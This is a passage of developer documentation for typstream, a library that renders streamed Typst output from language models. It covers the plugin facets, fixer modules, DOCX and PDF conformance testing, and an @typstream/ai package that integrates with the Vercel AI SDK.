| `heal.handlers` | heal (main thread) | `HealHandler`s: product-specific fixes on settled text (`settled`) or on the healed source (`output`). The only facet that holds functions. |
| `heal.lint` | heal | Overrides built-in lint rules by id: `{ "currency-dollar": "fix" }`. Later plugins and the document's own `heal.lint` win. |
| `engine.files` | engine | Files mounted for every document. Keys of the form `@ns/name:x.y.z/path` make a local Typst package, importable with no download. |
| `engine.preamble` | engine | Typst evaluated before the document, after earlier plugins' preambles and before a template's and the app's. |
| `engine.packages` | engine | Typst Universe packages the document may import (an allowlist entry: name, version, URL, integrity). Fetched only when imported. Beta. |
| `engine.fixerModules` | engine worker | ES module URLs whose default export is a `DiagnosticFixer` or an array of them. Loaded inside the worker, once per URL. |
| `engine.generatorModules` | engine worker | ES module URLs whose default export is a `FileGenerator` or an array of them: files made from the document's source before every compile, for what Typst can't compute (`@typstream/mermaid` draws diagrams with pele). Loaded inside the worker, once per URL. Beta. |
| `engine.fonts` | engine worker | Fonts for the engine. Worker-wide: see below. Beta. |
| `templates` | dom, react | Named document setups (`template="worksheet"`): a preamble and default `sys.inputs`. A later plugin's template replaces an earlier one's of the same name. |
| `sanitize` | dom | Extra tags, attributes and classes the HTML sanitizer lets through. Scripts, event handlers and URL-loading attributes stay blocked whatever a plugin says. |
| `stylesheets` | dom | CSS for the HTML your Typst writes, injected next to the renderer's and included in standalone HTML exports. |
| `prompt` | your app | The function catalogue, rules and few-shot examples to tell the model about your Typst API. A planned `@typstream/ai` package will read it too. |
| `islands` | The HTML renderer, `@typstream/react` | Interactive components mounted over markers your Typst writes, by name, with `parse` to check their data. See [Writing an island](/docs/guides/islands). Beta. |
| `editor` | (future editor) | Reserved; typed loosely so plugins can fill it in early. Beta. |

The full type:

### TypstreamPlugin

A typstream plugin: a key plus any of the facets below. `@typstream/edu` is
one; so are a school's branded templates or a chemistry pack.

Everything except `heal.handlers` and islands' `parse` is plain data. The engine facet is
especially restricted because it is sent to the worker, which can't receive
functions: worker-side code is referenced by module URL (`fixerModules`).

| Prop            | Type                                                                                                                                                                                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                     |
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `key`           | `string`                                                                                                                                                                                                                    | Unique, namespaced for third parties: `"edu"`, `"acme/chemistry"`.                                                                                                                                                                                                                                                                                                                                              |
| `version?`      | `string \| undefined`                                                                                                                                                                                                       | The plugin's version, e.g. its Typst package's. Informational: nothing in typstream reads it.                                                                                                                                                                                                                                                                                                                   |
| `dependencies?` | `string[] \| undefined`                                                                                                                                                                                                     | Keys of plugins that must be loaded too, before this one.                                                                                                                                                                                                                                                                                                                                                       |
| `heal?`         | `{ handlers?: HealHandler[]; lint?: Record<string, LintSetting \| boolean>; } \| undefined`                                                                                                                                 | Language (`@typstream/heal`).                                                                                                                                                                                                                                                                                                                                                                                   |
| `engine?`       | `{ fixerModules?: string[]; generatorModules?: string[]; files?: Record<string, string \| Uint8Array>; packages?: PackageSpec[]; fonts?: FontSource[]; fontCatalogues?: FontCatalogue[]; preamble?: string; } \| undefined` | Runtime (`@typstream/engine`, worker side).                                                                                                                                                                                                                                                                                                                                                                     |
| `templates?`    | `TemplateSpec[] \| undefined`                                                                                                                                                                                               | Content.                                                                                                                                                                                                                                                                                                                                                                                                        |
| `prompt?`       | `{ catalogue?: FunctionDoc[]; rules?: string[]; examples?: PromptExample[]; } \| undefined`                                                                                                                                 | Prompt kit: what the model is told about this plugin's Typst API.                                                                                                                                                                                                                                                                                                                                               |
| `islands?`      | `Record<string, IslandSpec<unknown>> \| undefined`                                                                                                                                                                          | Rendering. Islands by name.                                                                                                                                                                                                                                                                                                                                                                                     |
| `sanitize?`     | `{ allowTags?: string[]; allowAttrs?: Record<string, string[]>; allowClasses?: string[]; } \| undefined`                                                                                                                    | Extra tags, attributes (by tag, `"*"` for every HTML element) and classes the sanitizer lets through. Event handlers and loading attributes stay blocked, `"*"` can't allow `href` or `src`, and SVG and MathML keep their own lists. The HTML renderer drops every other class, so a document can't take on the page's own (#69): list the ones this plugin's Typst writes, by name or as a prefix (`"ts-*"`). |
| `stylesheets?`  | `string[] \| undefined`                                                                                                                                                                                                     | CSS for the HTML this plugin's Typst writes, added to the HTML renderer and to standalone HTML exports, after earlier plugins' and before the app's own.                                                                                                                                                                                                                                                        |
| `editor?`       | `EditorFacet \| undefined`                                                                                                                                                                                                  | Editor (future).                                                                                                                                                                                                                                                                                                                                                                                                |

<Callout type="warn" title="Beta facets">
  `engine.packages`, `engine.fonts`, `engine.generatorModules`, `islands` and `editor` are beta: their shape may change before 1.0.
</Callout>

### What runs where

Everything except `heal.handlers` and islands' `parse` is plain data. The `engine` facet is posted to the worker, which can't receive functions, so it must stay structured-clonable: code that runs in the worker is referenced by URL (`engine.fixerModules`, `engine.generatorModules`).

A document's plugins bring their files, packages, preamble, heal handlers and lint settings, and their fixer and file generator modules, which the worker loads for that document only. A module that fails to load is logged (an engine `log` event) and the document compiles without it.

Fonts belong to the worker, not to a document: give a plugin with `engine.fonts` to the engine itself.

```tsx
const engine = createEngine({ spawn: engineWorker(), plugins: [bengali] }); // fonts, packages, fixer modules

<TypstreamProvider engine={engine} plugins={[bengali]}>…</TypstreamProvider>;
```

The engine's plugins' fonts, packages and fixer modules are sent when each worker starts, so every worker (including replacements after a watchdog restart) has them. A document whose plugin brings fonts the engine doesn't have logs a warning once per plugin. See [Fonts and languages](/docs/guides/fonts-and-languages).

### Order, duplicates and errors

**Order.** Plugins load in the order given, except that a plugin always comes after its dependencies: a dependency listed later moves up to just before the first plugin that needs it. Order matters where facets add up: preambles run in that order, a later plugin's file replaces an earlier one's at the same path, and later stylesheets come later in the cascade.

**Duplicates.** A key given more than once loads once, as its last definition, at the place of its first. A provider's plugin can be overridden by a component's with the same key.

**Errors.** A dependency that isn't among the plugins, a cycle, or a plugin without a key throws when the document opens. `resolvePlugins` from `@typstream/core` does the resolution, if you want to check a list yourself:

```ts
import { resolvePlugins } from "@typstream/core";

resolvePlugins([chemistry, edu]).map((p) => p.key); // ["edu", "acme/chemistry"]: edu moved up before its dependent
```

## Writing the Typst side

- **Mount it as a local package** (`@acme/chemistry:1.0.0/…` keys with a `typst.toml`), so documents and exported sources can `#import` it by name and the same files work with native `typst --package-path`.
- **Expect cut-off input.** The model's output is compiled after every token. Give every named parameter a default, and accept what a stream cut leaves: `(2` arrives as `2`, `5em` as `5`. `@typstream/edu`'s sources show patterns for this.
- **Branch on the target** with `context target()` where the HTML and paged output should differ, and write semantic HTML with classes your `stylesheets` style.
- **Keep CSS overridable.** Scope rules to the renderer's root and keep their specificity at zero, so apps can override them: `:where(.typstream .acme-formula) { … }`. Follow the theme's custom properties (`--typstream-foreground`, `--typstream-muted`, `--typstream-link`, …) so dark mode works. See [Theming](/docs/guides/theming).
- **Allow only what you write.** If your HTML needs a tag or attribute the sanitizer drops, list exactly those in `sanitize` (`{ allowTags: ["details"], allowAttrs: { details: ["open"] } }`). The `"*"` key allows attributes on every HTML element (`{ allowAttrs: { "*": ["data-step"] } }`); SVG and MathML keep their own lists, and URL attributes (`href`, `src`) are allowed only by tag, where the sanitizer checks their URLs. An allowed `name` gets the renderer's id prefix, like `id`.
- **Declare your classes.** The sanitizer drops classes it doesn't know, so a document can't borrow the page's. List the ones your Typst writes in `sanitize.allowClasses`, by name or by a prefix of your own (`["quiz-*"]`, as edu does with `edu-*`), and style only those.

## Writing a fixer module

When a compile fails, the worker offers each error to its fixers in priority order; the first that returns edits fixes it. A round of fixes is applied only when every error has one, then the worker recompiles, at most twice per revision.

### DiagnosticFixer

Layer 3 of healing (PLAN §5.5, §8.2): turns a compile error into edits that
should make it go away; the worker applies them and recompiles, at most twice
per revision. For each error, fixers are tried in priority order and the
first that returns edits fixes it. A round is applied only when every error
has a fix, since one left over fails the recompile anyway. Fixers run in the
worker, so plugins ship them as ES modules (`engine.fixerModules`) whose
default export is a fixer or an array of them.

Fixed compiles import typstream's runtime library as `typstream`
(`/@typstream/runtime.typ`), so fixes can insert placeholders such as
`#typstream.pending-ref("key");`.

| Prop        | Type                                                                                    | Description                                                                                                                                                                               |
| ----------- | --------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `name`      | `string`                                                                                | Unique. Reported as the `source` of the errors it fixed while streaming.                                                                                                                  |
| `priority?` | `number \| undefined`                                                                   | Lower runs first. Default 50; the built-in `pending-ref` runs at 10 and the catch-all `tail-cut` at 100.                                                                                  |
| `modes?`    | `readonly CompileMode[] \| undefined`                                                   | Compiles it runs in. Default: both.                                                                                                                                                       |
| `match?`    | `RegExp \| ((d: Diagnostic) => boolean) \| undefined`                                   | Errors it is tried on: a test of the message, or of the whole diagnostic. Default: every error.                                                                                           |
| `fix`       | `(d: Diagnostic, ctx: FixContext) => TextEdit[] \| null \| Promise<TextEdit[] \| null>` | Edits to `ctx.text` (non-overlapping, ascending) that should make `d` go away, or `null` when it can't fix it. May be async, e.g. to fetch a font or a package; the compile waits for it. |

`fix` returns edits against `ctx.text` (the document without its preamble), or `null`. Edits are `{ from, to, insert }` in UTF-16 offsets, non-overlapping and ascending. `fix` may be async, for example to fetch something; the compile waits for it.

### FixContext

What a DiagnosticFixer sees.

| Prop          | Type                    | Description                                                                                                                                                                                                         |
| ------------- | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `text`        | `string`                | The document text that was compiled, without its preamble: the client's text in the first round, with earlier rounds' fixes after that.                                                                             |
| `settled`     | `number`                | Text before this offset is settled: streaming more can't change it. Fixes that drop or rewrite text still being typed belong after it. It is the end of the text in final compiles, and when the client didn't say. |
| `settledFrom` | `number`                | Text from this offset on is settled too: what is being typed is `[settled, settledFrom)`, a range streaming into the middle of the document (an edit). The end of the text otherwise. Fixes belong before it.       |
| `mode`        | `CompileMode`           | The compile's mode: fixers can stay out of final compiles with DiagnosticFixer.modes.                                                                                                                               |
| `round`       | `number`                | 0 for the client's text; 1 and 2 for recompiles after fixes.                                                                                                                                                        |
| `errors`      | `readonly Diagnostic[]` | Every error of the compile, the one being fixed included.                                                                                                                                                           |

- **Priority.** Default 50. The built-in `pending-ref` runs at 10 and the catch-all `tail-cut` at 100, so most fixers run between them.
- **Modes.** `modes: ["streaming"]` keeps a fixer out of final compiles, for fixes that only make sense while text is still arriving. Use `ctx.settled` to leave text that is still being typed alone, or to change only it.
- **Errors.** A fixer that throws is skipped.
- **Reporting.** While streaming, the errors a fixer fixed are reported as `info` diagnostics whose `source` is the fixer's name. In final mode the output is the fixed one, but the error is still reported as an error, so the finished document's diagnostics show what the model got wrong. `fixersApplied` in the [`compiled` event](/docs/guides/telemetry#compiled) names it either way.
- **Placeholders.** Fixed compiles import typstream's runtime library as `typstream`, so a fix can insert its placeholders, such as `#typstream.pending-ref("key");`.

To add fixers to every document rather than through a document's plugins, pass the module to the engine: `createEngine({ spawn: engineWorker(), initialize: { fixerModules: [url] } })`. To replace the built-in list, write your own worker ([Self-hosting](/docs/guides/self-hosting#replacing-the-fixers)).

<Callout type="warn" title="Fixer modules are code">
  Importing a module runs it in the worker. A server that faces untrusted clients must not load modules they name; `@typstream/node`'s protocol server ignores them. See [Security](/docs/guides/security).
</Callout>

## Matching the PDF and Word

A document looks the same three ways: in the paged view, in the PDF from `exportPdf()`, and in the Word file from `exportDocx()` (beta), which stays editable. The first two draw the same laid-out pages. The DOCX is rebuilt from them as Word paragraphs, tables, equations and pictures, and a layout engine lays it out again. A plugin's components have to survive that, so write them from what Word can express:

- **Text, paragraphs and tables** come through as they are, line for line: the engine's layout profile keeps Typst's lines where Word puts them (a constant line pitch, ragged right, no hyphenation, rows that don't split). Don't set `par(leading: …)`, `par(justify: true)` or a breakable table row in your Typst; heal's lint takes them out of documents anyway.
- **Boxes and blocks** with square corners, strokes and fills become one-cell tables or bordered paragraphs. A rounded corner or rotated text with text inside can't be one: it becomes a picture of the box, and the export warns (`docx/fallback`). Prefer square frames, as edu's callouts are.
- **A blank to write on** is underlined space in Word, and Word draws an underline at the font's underline position: about 0.08em below the baseline. The export raises or lowers an empty blank so its underline lands on the line Typst drew, but not one with text on it (a shown answer), which would move with it: draw the line at the underline position in Typst (edu's `blank` is a box with `stroke: (bottom: …)` and `outset: (bottom: 0.078em)`), and keep it on a line of text: a box alone in a cell has a line of its own, shorter than a text line, unless something before it (a word joiner, `#sym.wj`) makes it one.
- **A rule across the column** (a line to write on) is a paragraph with a bottom border, at the bottom of its line.
- **Equations** are Word math; each engine sets it a little differently.
- **Drawings** (CeTZ, curves, a mind map) become pictures: an SVG with a PNG, the same size and place. Give them a description for screen readers (a `<typstream-drawing>` marker, as edu's drawings do).

### The conformance suite

This repository's plugins prove it with a shared suite (`tools/conformance`) run on their own examples: edu's catalogue, templates and examples with answers hidden and shown, mindmap's examples, and a few documents using each of Universe's packages. For each example:

| Check | Where | Passes when |
|---|---|---|
| Paged view = PDF | a browser (vitest) | every page painted in the document panel matches pdf.js's raster of the PDF: no more than 4 differing pixels touching |
| DOCX is valid | Node | Microsoft's Open XML validator reports no errors |
| DOCX = PDF | Node, LibreOffice | every line and page start is Typst's (by their text around equations, where the example has some), pictures match the PDF's pixels, every equation's letters and digits come out, and rules, borders and shading are where Typst draws them (no more than 6 differing pixels touching) |

A plugin in this repository adds three files and two vitest projects:

```ts title="__tests__/conformance/suite.ts"
import { type ConformanceSuite, withInputs } from "@typstream/conformance";
import { chemistry, chemistryCatalogue } from "../../src/index";

export const suite: ConformanceSuite = {
  name: "chemistry",
  plugins: [chemistry],
  examples: withInputs(
    chemistryCatalogue.map((d) => ({ name: d.name, source: d.example ?? "" })),
    [{ showAnswers: "false" }, { showAnswers: "true" }],
  ),
};
```

```ts title="__tests__/conformance/paged.test.ts"
import { pagedConformance } from "@typstream/conformance/paged";
import { suite } from "./suite";

pagedConformance(suite);
```

```ts title="__tests__/conformance/docx.test.ts"
import { docxConformance } from "@typstream/conformance/docx";
import { suite } from "./suite";

docxConformance(suite);
```

```ts title="vitest.config.ts"
import { defineConfig } from "vitest/config";
import { conformanceProjects } from "../../tools/conformance/src/vitest.mjs";

const alias = { "@typstream/core": new URL("../core/src/index.ts", import.meta.url).pathname };

export default defineConfig({
  test: {
    projects: [{ test: { name: "node", include: ["__tests__/*.test.ts"] } }, ...conformanceProjects(alias)],
  },
});
```

`pnpm test:paged` (`vitest run --project paged`) runs the first in Chromium (`BROWSERS=firefox` for another). `pnpm test:docx` runs the second; it needs LibreOffice and poppler on `PATH`, and uses Microsoft's validator where it is built (`dotnet publish tools/docx-check/validator -c Release -o tools/docx-check/validator/out`). CI runs both on every pull request. A failure names the example, the DOCX it wrote (under `$TMPDIR/typstream-conformance/`) and what differs: the first line laid out differently, or where on the page a rule, a border or a picture is off.

The suite is part of this repository, not a published package. To check a plugin of your own, export its examples with `exportPdf()` and `exportDocx()`, open the DOCX in Word or LibreOffice, and compare the pages with the PDF's.

## Testing a plugin

Open a document with your plugin on a real engine and check what it renders, as typstream's own contract tests do. In Node, `@typstream/engine/server`'s `inProcess` runs the worker on the calling thread:

```js title="test-plugin.mjs"
import { readFileSync } from "node:fs";
import { createEngine } from "@typstream/engine";
import { engineWasm, inProcess } from "@typstream/engine/server";
import { baseFonts } from "@typstream/engine-wasm/fonts";
import { chemistry } from "./dist/index.js";

const wasm = readFileSync(new URL(import.meta.resolve("@typstream/engine-wasm/engine_bg.wasm")));
const fonts = baseFonts.map((url) => new Uint8Array(readFileSync(url)));
const engine = createEngine({ spawn: inProcess(() => engineWasm({ wasm, fonts })), spare: false });

const doc = engine.open({ plugins: [chemistry], target: "html" });
doc.onEvent((event) => {
  if (event.type === "compiled") console.log(event.status, event.fixersApplied);
});
doc.set("#reaction(conditions: [heat])[$2 H_2 + O_2 -> 2 H_2 O$] and #foo here");
doc.finish();

const state = await new Promise((resolve) => {
  const stop = doc.subscribe((s) => {
    if (s.status === "done" || s.status === "error") (stop(), resolve(s));
  });
});
console.log(state.status, state.diagnostics.map((d) => d.message), state.artifact?.html.includes("acme-reaction"));
engine.dispose();
```

Here `fixersApplied` lists `acme/unknown-as-text` for `unknown variable: foo`, and the HTML contains the `acme-reaction` element. Test the paged target the same way (`target: "paged"`), and stream the document in chunks with `doc.push()` to see that every prefix renders.

<Callout type="warn" title="inProcess is beta">
  `inProcess` blocks the calling thread while it compiles, and the watchdog can't stop a runaway compile there. Use it for tests and scripts, not to serve users.
</Callout>


# Introduction

> What typstream is, the problem it solves, and which package to start with.

Source: https://typstream.vercel.app/docs

typstream renders **Typst** while a language model is still writing it. Every token, it turns whatever has arrived
into a document that compiles, compiles it with the real Typst compiler in a Web Worker, and updates only what
changed on the page. It was built for AI tools that write educational documents: worksheets, quizzes, exams, lesson
plans and handouts.

```tsx
import { Typstream } from "typstream";

<Typstream source={text} isStreaming={status === "streaming"} animated caret />;
```

That is the whole integration in a React app: `source` is the model's text so far, and `isStreaming` says whether more
is coming.

```typst
#show: quiz.with(title: [Fractions], subject: [Mathematics], grade: [Grade 5])

#question(points: 2)[$1/2 + 1/4 =$ #blank(answer: $3/4$)]

#question(points: 1)[
  Which fraction is the largest?
  #mcq([$1/2$], [$2/3$], [$3/5$], answer: 2)
]

#question(points: 3)[
  Explain how you compare two fractions.
  #answer-lines(count: 2, answer: [Rewrite them with a common denominator, then compare the numerators.])
]
```

Press **Replay as a stream** to watch the document above arrive a few characters at a time, the way a model writes
it. Every step renders.

## Why Typst, and why it's hard to stream

Markdown degrades gracefully: half a table is still some text. Typst is a typesetting language with real layout,
math, tables, templates and scripting, which makes it a far better format for documents people print. But it is a
*compiled language*. One unclosed `[` or a `#table(` cut mid-argument and the whole document fails to compile, so a
naive renderer shows nothing until the model is done.

typstream closes that gap in four layers:

1. **Healing** (`@typstream/heal`) runs on the main thread on every token. A faithful port of Typst's own parser
   finds what is still open at the end of the text, closes it or cuts it, and fixes Markdown habits such as `**bold**`
   in text that has settled.
2. **Scheduling** compiles the newest healed source as often as the engine keeps up, never a stale one, in a worker
   with a watchdog, so a runaway `while` loop can't freeze the tab.
3. **Fixers** in the worker repair what parses but doesn't compile yet: a reference to a label that hasn't arrived, a
   package still loading, an argument cut mid-value.
4. **Fallback** keeps something on screen whatever happens: the last good render, the settled text with the tail as
   plain text, or the one block that fails shown as an error box while the rest renders.

[How it works](/docs/concepts/how-it-works) walks through the whole pipeline.

## What you get

- **Two render targets from one document.** `html` gives semantic HTML and MathML that reflows, themes and animates;
  `paged` gives print-faithful pages, painted on canvases, with a selectable text layer. See [Render targets](/docs/concepts/render-targets).
- **The real compiler.** Typst 0.15.1 compiled to WebAssembly, the same build in the browser and on the server, so a
  document that validates on the server renders the same in the preview.
- **Safe by default.** Documents are untrusted code: no network, no files beyond what you pass, a sanitized DOM, and
  it runs under a strict Content-Security-Policy. See [Security](/docs/guides/security).
- **A vocabulary for teachers.** `@typstream/edu` adds `#question`, `#mcq`, `#blank`, answer keys, rubrics and
  templates, with answers that only the teacher's copy shows. See [Worksheets, quizzes and answer keys](/docs/guides/edu-documents).
- **Exports.** PDF, standalone HTML and the healed source, from the engine that renders the preview.
- **Server tools.** Validate before you save, render to PDF, and repair broken documents with your model in a loop
  ([`@typstream/node`](/docs/reference/node)).

## Packages

| Package | What it is |
| --- | --- |
| [`typstream`](/docs/reference/typstream) | The one most React apps install: `<Typstream>` with html-compat, the math font and the vendored Typst packages set up. |
| [`@typstream/react`](/docs/reference/react) | `<Typstream>`, `TypstreamProvider` and `useTypstream()`, without the defaults. |
| [`@typstream/dom`](/docs/reference/dom) | Framework-free: `mountTypstream`, the HTML and paged renderers, standalone HTML export. |
| [`@typstream/engine`](/docs/reference/engine) | The compile engine: main-thread client (healing, scheduling, watchdog) and the worker. |
| [`@typstream/heal`](/docs/reference/heal) | Healing on its own: any prefix of streamed Typst in, a source that parses out. |
| [`@typstream/node`](/docs/reference/node) | Server-side validate, render, repair loop and a WebSocket engine server. |
| [`@typstream/edu`](/docs/reference/edu) | Typst functions and templates for teachers' documents, and the prompt kit. |
| [`@typstream/html-compat`](/docs/reference/html-compat) | Keeps grids, alignment, boxes and shapes in Typst's HTML export. |
| [`@typstream/universe`](/docs/reference/universe) | The Typst packages allowed by default: CeTZ, fletcher, physica, chemformula and more. |
| [`@typstream/engine-wasm`](/docs/reference/engine-wasm) | Typst 0.15.1 compiled to WebAssembly, the low-level compiler. |
| [`@typstream/core`](/docs/reference/core) | Shared contracts: text edits, diagnostics, the worker protocol, plugins and events. |

## For AI agents

These docs are written to be read by coding agents too. Every page has a Markdown version: add `.md` to its URL
(`/docs/concepts/healing.md`), or request the page with `Accept: text/markdown`. [`/llms.txt`](/llms.txt) indexes them
all, and [`/llms-full.txt`](/llms-full.txt) is the whole documentation in one file. The **Copy Markdown** button at the
top of each page puts the same text on your clipboard.

## Start here

<Cards>
  <Card title="Installation" href="/docs/getting-started/installation">
    Which package to install, and what the engine downloads.
  </Card>
  <Card title="React" href="/docs/getting-started/react">
    A streaming document in a React app in five minutes.
  </Card>
  <Card title="Next.js and the AI SDK" href="/docs/getting-started/nextjs-ai-sdk">
    A chat whose answers are Typst documents.
  </Card>
  <Card title="Node.js" href="/docs/getting-started/node">
    Validate, render and repair documents on the server.
  </Card>
</Cards>


# @typstream/ai

> typstream with the Vercel AI SDK. An assistant message is a Typst document (textOf, isStreaming, textStream), and an answer that edits one applies its edits as they stream (createEditSession, editPrompt).

Source: https://typstream.vercel.app/docs/reference/ai

`@typstream/ai` connects typstream to the [Vercel AI SDK](https://ai-sdk.dev). When the model answers in Typst, an
assistant message is a document. The package reads two things from the message: its text, and whether more of that
text is coming. They are what `<Typstream>` (or `mountTypstream`) takes as `source` and `isStreaming`.

When the model changes a document that exists, its answer is a set of edits that quote what they replace. The package's
edit session applies them to the document as they stream, then the teacher keeps or undoes them: see [Streaming
edits](/docs/guides/streaming-edits).

It reads AI SDK messages by their shape and imports nothing from `ai`, so it adds no dependency and works with AI SDK 5
and later. It's tested against AI SDK 7. The edit session needs `@typstream/heal` (for the document's blocks), which
every app that renders has already.

## When to use it

Use it when your app streams Typst through the AI SDK: `useChat` in React, or the SDK's transport and stream reader
without React. On the server, `streamText()`'s `textStream` is already a stream of chunks, so you don't need it there.

## Install

```npm
npm install @typstream/ai typstream ai @ai-sdk/react
```

## With useChat

```tsx title="app/page.tsx"
"use client";

import { useChat } from "@ai-sdk/react";
import { isStreaming, textOf } from "@typstream/ai";
import { Typstream } from "typstream";

export default function Chat() {
  const chat = useChat();
  return chat.messages.map((message) =>
    message.role === "user" ? (
      <p key={message.id}>{textOf(message)}</p>
    ) : (
      <Typstream key={message.id} source={textOf(message)} isStreaming={isStreaming(message, chat)} animated caret />
    ),
  );
}
```

One `<Typstream>` per assistant message, keyed by the message's id. [Next.js and the AI
SDK](/docs/getting-started/nextjs-ai-sdk) builds the whole app around it.

## Without React

`DefaultChatTransport` posts the conversation to your route and returns its UI message stream. `readUIMessageStream`
turns that stream into snapshots of the answer, and `textStream` turns the snapshots into chunks for `mountTypstream`'s
`stream`. The document finishes (final mode) when the stream ends. Add the plugins and the math font as [Without a
framework](/docs/getting-started/vanilla) shows.

```ts
import { mountTypstream } from "@typstream/dom";
import { createEngine, engineWorker } from "@typstream/engine";
import { textStream } from "@typstream/ai";
import { DefaultChatTransport, readUIMessageStream } from "ai";

const engine = createEngine({ spawn: engineWorker() });
const transport = new DefaultChatTransport({ api: "/api/chat" });

const chunks = await transport.sendMessages({
  chatId: "worksheet",
  messages: [{ id: "1", role: "user", parts: [{ type: "text", text: "A worksheet on fractions" }] }],
  trigger: "submit-message",
  messageId: undefined,
  abortSignal: undefined,
});
mountTypstream(document.querySelector("#answer")!, {
  engine,
  target: "paged",
  stream: textStream(readUIMessageStream({ stream: chunks })),
});
```

## API

| Export | What it is |
| --- | --- |
| [`textOf`](#textof) | The document a message holds. |
| [`isStreaming`](#isstreaming) | Whether more of it is coming. |
| [`textStream`](#textstream) | A message's text as chunks, from its snapshots. |
| [`MessageLike`, `ChatLike`](#types) | What the functions read of AI SDK messages and chats. |
| [`createEditSession`](#createeditsession) | Applies an answer's edits to a document as they stream. |
| [`editPrompt`, `editRequest`, `selectionRequest`](#editprompt) | The edit format for the system prompt, and the user turns of an edit request. |
| [`editFeedback`](#editfeedback) | What to tell the model about the edits that failed. |
| [`parseEdits`](#parseedits) | Reads an answer's `<edit>`s as far as they have arrived. |
| [`findQuote`](#findquote) | Where a quote matches a document. |
| [`blockRange`, `blockStarts`](#blockrange) | The top-level blocks a range touches, and where blocks start. |

### textOf

```ts
function textOf(message: MessageLike): string;
```

The message's text parts, joined in order. Reasoning, tool, file, source and data parts aren't part of the document.
Before the first text arrives it's `""`.

### isStreaming

```ts
function isStreaming(message: MessageLike, chat: ChatLike): boolean;
```

True while the chat is answering with this message (`status` is `submitted` or `streaming`, and it's the last message)
and the message doesn't end with a text part that has ended: before any text (the model is thinking), while a text
part streams, and after a tool call (a later step may write more). False for user messages and for every earlier
answer. Pass `useChat()`'s result, or an AI SDK `Chat`.

The answer finishes as soon as its last text ends, a moment before the chat's status is `ready`.

<Callout type="warn" title="Why not the part's own state">
  A text part's `state` turns `"done"` only when the model ends it. When an answer stops early (the user presses stop,
  the network fails), the AI SDK leaves it `"streaming"` and only the chat's `status` changes. Read from the part
  alone, the document would never finish. Read from `status === "streaming"` alone, every earlier answer would stream
  again, and start over, whenever a new one streams.
</Callout>

Text that ends before a tool call doesn't finish the answer: the tool's part comes after it, so the answer streams on
until text ends with nothing after it. If your document is only the text after a tool call (an image search, say),
pass `textOf` the parts after it: `textOf({ ...message, parts: message.parts.slice(i + 1) })`.

### textStream

```ts
function textStream(messages: AsyncIterable<MessageLike>): AsyncGenerator<string>;
```

Yields what each snapshot of a message adds to its text: the chunks `stream` reads. The snapshots are of one message
as it streams, as `readUIMessageStream` yields them. A snapshot whose text doesn't extend the previous one throws,
which ends the document's stream.

### Types

### MessageLike

What typstream reads of an AI SDK `UIMessage`.

| Prop    | Type                         | Description                                                               |
| ------- | ---------------------------- | ------------------------------------------------------------------------- |
| `id`    | `string`                     | Unique in the chat: isStreaming compares it with the chat's last message. |
| `role`  | `string`                     | `"user"`, `"assistant"` or `"system"`.                                    |
| `parts` | `readonly MessagePartLike[]` | In the order they arrived.                                                |

### MessagePartLike

A part of an AI SDK `UIMessage`. Only text parts (`type: "text"`) are read;
reasoning, tool, file, source and data parts aren't the document.

| Prop     | Type                  | Description                                                   |
| -------- | --------------------- | ------------------------------------------------------------- |
| `type`   | `string`              | `"text"`, `"reasoning"`, `"tool-…"`, `"data-…"`, …            |
| `text?`  | `string \| undefined` | A text part's text so far.                                    |
| `state?` | `string \| undefined` | A text part's `"streaming"` or `"done"` (AI SDK 5 and later). |

### ChatLike

What typstream reads of a chat: `useChat()`'s result, or an AI SDK `Chat`.

| Prop       | Type                     | Description                                                           |
| ---------- | ------------------------ | --------------------------------------------------------------------- |
| `status`   | `string`                 | `"submitted"`, `"streaming"`, `"ready"` or `"error"`.                 |
| `messages` | `readonly MessageLike[]` | The conversation, oldest first; the answer being written is the last. |

AI SDK's `UIMessage` is a `MessageLike`, and `useChat()`'s result and `Chat` are `ChatLike`s, so you never build them
yourself. AI SDK 4's messages (`content`, `toolInvocations`) aren't supported.

## The system prompt

The model needs to be told to answer in Typst. `buildSystemPrompt` from `@typstream/edu` writes that prompt for
teachers' documents; see [Prompting](/docs/guides/prompting).

## Edits

### createEditSession

```ts
function createEditSession(text: string): EditSession;
```

A session that applies one answer's edits to `text`, the document the model was given. Open one per answer. Feed it
with `update(answer, done)` (the answer's text, `textOf(message)`, and whether it has ended), or for a selection edit
`write(range, replacement, done)`. Show `getState()`'s `text`, `streamingRange` and `streaming` in `<Typstream>`, and
when `phase` is `review`, offer `keep()` and `undo()`. `userEdit(edit)` takes the teacher's own edits while the session
is open, and `abort()` rolls back the edit being written. [Streaming edits](/docs/guides/streaming-edits) walks
through it.

### EditSession

Applies one answer's edits to a document as the answer streams:
createEditSession.

| Prop        | Type                                                          | Description                                                                                                                                                                                                                  |
| ----------- | ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `update`    | `(answer: string, done?: boolean) => void`                    | The model's answer so far, with its `<edit>` tags (an AI SDK message's textOf); `done` once it is complete. Call it as the answer grows.                                                                                     |
| `write`     | `(range: Range, replacement: string, done?: boolean) => void` | A selection edit: the model's replacement so far for `range`, which the app picked (the teacher's highlight), widened to whole blocks (blockRange). The replacement is plain Typst with no tags; `done` once it is complete. |
| `abort`     | `() => void`                                                  | The stream stopped (the teacher pressed stop, a network error): rolls back the edit being written.                                                                                                                           |
| `userEdit`  | `(edit: TextEdit) => void`                                    | An edit the teacher made to EditSessionState.text while the session is open.                                                                                                                                                 |
| `keep`      | `() => void`                                                  | Keeps the answer's edits: the session closes, the text stays.                                                                                                                                                                |
| `undo`      | `() => void`                                                  | Undoes the answer's edits: the document goes back to the snapshot. After edits of the teacher's, each of the answer's edits goes back to the text it replaced, and one the teacher has edited since stays as it is.          |
| `getState`  | `() => EditSessionState`                                      | The current state; the same object until it changes.                                                                                                                                                                         |
| `subscribe` | `(listener: (state: EditSessionState) => void) => () => void` | Calls `listener` after every change; returns the unsubscribe function.                                                                                                                                                       |

### EditSessionState

An edit session's state: EditSession.getState.

| Prop             | Type                                            | Description                                                                                                                                         |
| ---------------- | ----------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
